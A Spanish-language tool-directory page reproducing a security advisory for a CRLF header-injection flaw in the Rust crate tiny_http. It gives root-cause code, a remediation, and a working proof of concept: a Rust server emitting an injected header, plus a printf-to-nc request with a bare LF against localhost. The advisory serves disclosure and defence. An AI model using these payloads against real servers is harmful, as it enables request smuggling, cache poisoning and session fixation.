Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http- — Aviso de seguridad: Inyección de cabeceras HTTP mediante CR y LF no validados en valores de cabecera (tiny_http) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-
Análisis de VulnerabilidadesAnálisis de CódigoSeguridad WebAprendizaje y EducaciónRecursos Curados
GitHubtheopaid/cve-2026-66753-http-header-injection-via-unvalidated-cr-and-lf-in-header-values-tiny_http-

CVE-2026-66753-HTTP-Header-Injection-via-Unvalidated-CR-and-LF-in-Header-Values-tiny_http-

Aviso de seguridad: Inyección de cabeceras HTTP mediante CR y LF no validados en valores de cabecera (tiny_http)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 23 díasAún no revisado

Aviso de Seguridad: Inyección en Cabeceras HTTP mediante CR y LF sin Validar en Valores de Cabecera (tiny_http)

ID de CVE asignado: CVE-2026-66753

Resumen

tiny_http no rechaza el retorno de carro ni el avance de línea dentro de los valores de las cabeceras HTTP, en ninguna de las dos direcciones.

En el lado de la petición, read_next_line solo termina una línea de cabecera con CRLF, por lo que un LF solitario sobrevive dentro del valor parseado y llega a la aplicación. En el lado de la respuesta, Header::from_bytes solo valida que los bytes sean ASCII, y el escritor de respuestas emite los valores tal cual, por lo que un valor que contenga CRLF divide la respuesta.

Las aplicaciones que reflejan un valor de cabecera de petición en una cabecera de respuesta, o que re-serializan cabeceras de petición en otra conexión, heredan por tanto una primitiva de inyección sin ninguna indicación de que algo va mal.

Versiones afectadas

URL del repositorio: https://github.com/tiny-http/tiny-http

Afectadastodas las versiones publicadas hasta 0.12.0 inclusive (2022-10-06), la versión actual
Verificadas0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
Corregido enninguna versión corregida en el momento de escribir esto

Esto es distinto de RUSTSEC-2020-0031 / CVE-2020-35884, que cubría el parseo de Transfer-Encoding y se corrigió en 0.6.3 y 0.8.0. El comportamiento descrito aquí está presente tanto antes como después de esa corrección.

Severidad

CWE-113 (Neutralización incorrecta de secuencias CRLF en cabeceras HTTP), un caso específico de CWE-93 (Inyección CRLF).

Puntuación base CVSS 4.0: 6.3 (Media) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modelo de amenaza

Un cliente remoto no autenticado que envía HTTP sin procesar a cualquier servidor tiny_http. Sin credenciales ni interacción del usuario.

Dos formas de consumo convierten esto en una vulnerabilidad:

Aplicaciones que copian un valor de cabecera de petición en una cabecera de respuesta. Este es el patrón de reflejo detrás del eco de origen CORS, cabeceras Location construidas a partir de datos de la petición y gestión de cookies. Un LF solitario en el valor de la petición llega a la respuesta, y si la aplicación construye el valor de la respuesta por sí misma, puede portar un CRLF completo.

Aplicaciones que re-serializan cabeceras de petición en otra conexión, como un proxy inverso. El LF solitario se escribe en la petición ascendente, y los backends que tratan un LF simple como terminador de línea de cabecera leen una petición como dos. La sección 2.2 del RFC 9112 permite a los receptores hacer esto, por lo que esos backends cumplen la especificación. Se midió que tanto net/http de Go como http.server de Python lo aceptan.

Causa raíz

Lado de la petición

tiny_http-0.12.0/src/client.rs, líneas 80 a 102. El bucle solo retorna cuando un LF está precedido por un CR. Cualquier otro byte, incluido un LF solitario o un CR solitario, se introduce en el búfer de línea en la línea 100:

root@kitploit:~
 84          loop {
 85              let byte = self.next_header_source.by_ref().bytes().next();
...
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);
101          }

LF es 0x0A y CR es 0x0D, ambos ASCII válidos, por lo que AsciiString::from_ascii en la línea 94 los acepta.

tiny_http-0.12.0/src/common.rs, líneas 184 a 191, solo recorta entonces el valor. trim elimina los espacios en blanco iniciales y finales, pero deja intactos los bytes interiores:

root@kitploit:~
184      fn from_str(input: &str) -> Result<Header, ()> {
185          let mut elems = input.splitn(2, ':');
186  
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Un par CRLF no puede sobrevivir, ya que termina la línea, pero un LF solitario, un CR solitario y secuencias como \n\r sí pueden.

Lado de la respuesta

tiny_http-0.12.0/src/common.rs, líneas 166 a 172, solo comprueba ASCII:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

tiny_http-0.12.0/src/response.rs, líneas 99 a 104, escribe el valor sin escape:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Nótese que HeaderField::from_str en la línea 226 sí rechaza espacios en blanco en un nombre de campo, pero HeaderField::from_bytes en la línea 171 no lo hace, por lo que los nombres de cabecera de respuesta tampoco se comprueban.

Prueba de concepto

Paso 1. Inicie un servidor que imprima un valor de cabecera de petición parseado y devuelva en una cabecera de respuesta un valor que contenga CRLF.

root@kitploit:~
use tiny_http::{Header, Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8004").unwrap();
    for request in server.incoming_requests() {
        for h in request.headers() {
            if h.field.equiv("X-Test") {
                println!("parsed X-Test value = {:?}", h.value.as_str());
            }
        }
        let evil = "a\r\nX-Injected: yes";
        let mut resp = Response::from_string("body");
        resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
        let _ = request.respond(resp);
    }
}

Paso 2. Envíe una petición cuyo valor de X-Test contenga un LF simple. En el comando siguiente, \n es un solo avance de línea y \r\n es un CRLF. La distinción es el objetivo de la prueba, así que no permita que un editor lo normalice.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004

Resultado en stdout. El LF sigue dentro del valor parseado:

root@kitploit:~
parsed X-Test value = "aaa\nbbb"

Resultado en el cable. La cabecera de respuesta se dividió en dos:

root@kitploit:~
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4

body

Impacto

Por sí mismo, tiny_http no re-emite cabeceras de petición, por lo que el comportamiento del lado de la petición es una primitiva latente más que un compromiso directo. Se vuelve explotable en cualquier consumidor que reenvíe o refleje valores de cabecera, donde produce contrabando de peticiones (request smuggling) contra backends tolerantes a LF o inyección de cabeceras en la respuesta.

El comportamiento del lado de la respuesta es directamente explotable en cualquier aplicación que coloque texto influenciado por el atacante en un valor de cabecera: inyección de scripts en el contexto del origen, envenenamiento de caché, fijación de sesión mediante una Set-Cookie inyectada y anulación de cabeceras de seguridad.

A modo de comparación, el crate http rechaza CR y LF en HeaderValue::from_str, razón por la cual las pilas construidas sobre él no exponen ninguno de estos comportamientos.

Remedición

Rechace los caracteres de control en ambos límites.

En read_next_line (src/client.rs línea 80), trate un CR simple o un LF simple en una línea de cabecera como un error de protocolo y devuelva 400, en lugar de incorporarlo al valor. Alternativamente, rechácelos en Header::from_str (src/common.rs línea 184) después de la división.

En Header::from_bytes (src/common.rs línea 166), rechace valores que contengan 0x0D, 0x0A o 0x00, y rechace nombres de campo que contengan cualquier cosa fuera del conjunto de tokens del RFC 9110. Devolver Err allí ya lo manejan los llamadores, ya que la firma es falible.

Descargar herramienta